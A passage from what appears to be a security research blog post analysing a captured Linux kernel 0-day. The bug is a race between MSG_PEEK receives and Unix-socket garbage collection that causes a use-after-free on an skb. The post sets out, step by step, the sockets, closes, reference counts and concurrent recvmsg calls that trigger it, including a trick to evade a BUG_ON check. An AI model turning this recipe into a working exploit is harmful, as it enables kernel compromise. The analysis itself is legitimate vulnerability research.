<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNsC7ADpPbHG_EVgFzDOGi6oaXluRrxDKc6kaQAkdwadnfFOu4SbwVESi0-SGHDwu9La-ztndastPnhfiocmhd6fmU0mhCy9a5sDosCQu6eW3x_uu7wHGL5d1c0eMTO3inZlhObh4faQkcGU2fM6zd-cXDjbg6fjS6CKUMpT8Sre9XHefE7Exrt04s/s1344/image67.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNsC7ADpPbHG_EVgFzDOGi6oaXluRrxDKc6kaQAkdwadnfFOu4SbwVESi0-SGHDwu9La-ztndastPnhfiocmhd6fmU0mhCy9a5sDosCQu6eW3x_uu7wHGL5d1c0eMTO3inZlhObh4faQkcGU2fM6zd-cXDjbg6fjS6CKUMpT8Sre9XHefE7Exrt04s/s1200/image67.png" border="0" alt="After f01 receives the socket file descriptor without MSG_PEEK, the receive queue is cleared and file descriptor f00''' is obtained." style="max-height: 750px; max-width: 600px;"title="After f01 receives the socket file descriptor without MSG_PEEK, the receive queue is cleared and file descriptor f00''' is obtained." /></a></span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c32">The receive queue of </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c32"> is cleared and </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c8">''</span><span class="ykcrMYlEiJ-c32"> is obtained from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">Status:</span></p><ul style="padding: 0;" class="c27 lst-kix_9gryrzygx46m-0"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = 1, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="c13 c19 c15">) = 3</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 0, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="c13 c15 c19">) = 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = 0, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="c50 c19 c49 c42">) = 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 0, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 1</span></li></ul>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><h2 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.v0psi01ks7q2"><span class="ykcrMYlEiJ-c1">UAF Scenario</span></h2>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>From a very high level perspective, the internal state of Linux garbage collection can be non-deterministic because </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> is not synchronized with the garbage collector. T</span><span>here is a race condition where the garbage collector can treat an inflight socket as a garbage candidate while the file reference is incremented at the same time during the </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> receive. As a consequence, the garbage collector may purge the candidate, freeing the socket buffer, while a receiver may install the file descriptor, leading to a UAF on the </span><span class="ykcrMYlEiJ-c3">skb</span><span class="ykcrMYlEiJ-c2"> object.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Let’s see how the captured </span><span>0-day</span><span> sample triggers the bug step by step (simplified version, in reality you may need more threads working together, but it should demonstrate the core idea). First of all, the sample allocates the following socket pairs and single socket </span><span class="ykcrMYlEiJ-c15">𝛼</span><span>:</span></p><ul style="padding: 0;" class="c27 lst-kix_whw4pjgxp3w1-0 start"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">2</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">2</span><span class="ykcrMYlEiJ-c11">1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">3</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">3</span><span class="ykcrMYlEiJ-c11">1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">sock</span><span class="ykcrMYlEiJ-c15"> 𝛼</span><span> (actually there might be even thousands of </span><span class="ykcrMYlEiJ-c15">𝛼</span><span> for protracting the garbage collection process in order to evade a </span><span class="ykcrMYlEiJ-c3">BUG_ON</span><span class="ykcrMYlEiJ-c2"> check which will be introduced later).</span></li></ul>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Now, the program does the below operations:</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAHUeccUboPeEe8ydW1HHpM2R-iibCZnsJSrhByCsnhQHtW4IJcC_8GEPtO3R3GPV5x2C9xJfxT7l6Z3UoqRcUeMtuf65G9wI2tPnd91q_vO7spVOfZgAwjeC6WCILmjs1ED618PGlxgMp196O3odP-fKaqIloMSEYRNory126HtXPNyyXCUWefJew/s564/image17.png" style="display: block; padding: 1em 0;text-align: left;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAHUeccUboPeEe8ydW1HHpM2R-iibCZnsJSrhByCsnhQHtW4IJcC_8GEPtO3R3GPV5x2C9xJfxT7l6Z3UoqRcUeMtuf65G9wI2tPnd91q_vO7spVOfZgAwjeC6WCILmjs1ED618PGlxgMp196O3odP-fKaqIloMSEYRNory126HtXPNyyXCUWefJew/s564/image17.png" border="0" alt="" style="max-height: 750px; max-width: 250px; border:0; box-shadow: none; --webkit-box-shadow: none; --moz-box-shadow: none;" title="" /></a></span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Close the following file descriptors prior to any </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span class="ykcrMYlEiJ-c2"> calls:</span></p><ul style="padding: 0;" class="c27 lst-kix_9gryrzygx46m-0"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">Close</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="c13 c19 c15">)</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">Close</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="c50 c19 c49 c42">)</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">Close</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="c50 c19 c49 c42">)</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">Close</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="c13 c19 c15">)</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">Close</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">3</span><span class="ykcrMYlEiJ-c11">0</span><span class="c13 c19 c15">)</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">Close</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">3</span><span class="ykcrMYlEiJ-c11">1</span><span class="c13 c19 c15">)</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">Close</span><span class="ykcrMYlEiJ-c15">(𝛼)</span></li></ul>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Here is the status:</span></p><ul style="padding: 0;" class="c27 lst-kix_9gryrzygx46m-0"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = </span><span class="ykcrMYlEiJ-c8">N</span><span class="ykcrMYlEiJ-c15"> + 1, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = </span><span class="ykcrMYlEiJ-c8">N </span><span class="c13 c19 c15">+ 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 2, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="c13 c19 c15">) = 2</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = 3, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="c13 c19 c15">) = 3</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 1, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="c50 c19 c49 c42">) = 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">2</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = 0, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">2</span><span class="ykcrMYlEiJ-c11">0</span><span class="c50 c19 c49 c42">) = 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">2</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 0, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">2</span><span class="ykcrMYlEiJ-c11">1</span><span class="c13 c19 c15">) = 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">3</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 1, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">3</span><span class="ykcrMYlEiJ-c11">1</span><span class="c50 c19 c49 c42">) = 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c15">𝛼</span><span class="ykcrMYlEiJ-c15">) = 1, </span><span class="ykcrMYlEiJ-c8">ref</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c15">𝛼</span><span class="ykcrMYlEiJ-c15">) = 1</span></li></ul>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">If the garbage collection process happens now, the kernel will do the following scrutiny:</span></p><ul style="padding: 0;" class="c27 lst-kix_h1p96gz9lzq4-0 start"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>List </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">3</span><span class="ykcrMYlEiJ-c11">1</span><span>, </span><span class="ykcrMYlEiJ-c15">𝛼</span><span class="ykcrMYlEiJ-c2"> as garbage candidates. Decrease inflight count for the candidate children in each receive queue.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Since </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">2</span><span class="ykcrMYlEiJ-c11">1</span><span> is not considered a candidate, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c2">’s inflight count is still above zero.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c2">Recursively restore the inflight count.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c2">Nothing is considered garbage.</span></li></ul>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">A potential skb UAF by race condition can be triggered by:</span></p><ol class="c27 lst-kix_j5vmamheymgq-0 start" start="1"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Call </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> with </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">2</span><span class="ykcrMYlEiJ-c11">1</span><span> to get </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c2">’.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Call </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> with </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span> to get </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c2">’.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c2">Concurrently do the following operations:</span></li></ol><ol class="c27 lst-kix_j5vmamheymgq-1 start" start="1"><li style="margin-left: 46pt;" class="c12 c21 c20 li-bullet-0"><span>Call </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> without </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span> to get </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c2">’’.</span></li><li style="margin-left: 46pt;" class="c12 c20 c21 li-bullet-0"><span>Call </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> with </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c2">’</span></li></ol>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">How is it possible? Let’s see a case where the race condition is not hit so there is no UAF:</span></p><a id="t.b47553220f0960b2834e887266a030fb4dc49b24"></a><a id="t.17"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Thread 0</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Thread 1</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Thread 2</span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Call unix_gc</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Stage0: List </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span>, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">3</span><span class="ykcrMYlEiJ-c11">1</span><span>, </span><span class="ykcrMYlEiJ-c15">𝛼</span><span class="ykcrMYlEiJ-c15"> </span><span class="ykcrMYlEiJ-c2">as garbage candidates.</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Call </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> with </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">2</span><span class="ykcrMYlEiJ-c11">1</span><span> to get </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c2">’</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span>Increase reference count: </span><span class="ykcrMYlEiJ-c3">scm.fp = scm_fp_dup(</span><span class="ykcrMYlEiJ-c3">UNIXCB</span><span class="ykcrMYlEiJ-c3">(skb).fp);</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Stage0: decrease inflight count from the child of every garbage candidate</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Status after stage 0:</span></p>
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = 0</span></p>
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 0</span></p>
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c15">) = 0</span></p>
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">1</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 1</span></p>
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(</span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">3</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c15">) = 0</span></p>
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c8">inflight</span><span class="ykcrMYlEiJ-c15">(𝛼) = 0</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Stage1: Recursively restore inflight count if a candidate still has inflight count. </span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td></tr><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c22"><span class="ykcrMYlEiJ-c2">Stage1: All inflight counts have been restored.</span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c6"><span class="ykcrMYlEiJ-c2"></span></p></td><td class="ykcrMYlEiJ-c4" colspan="1" rowspan="1">
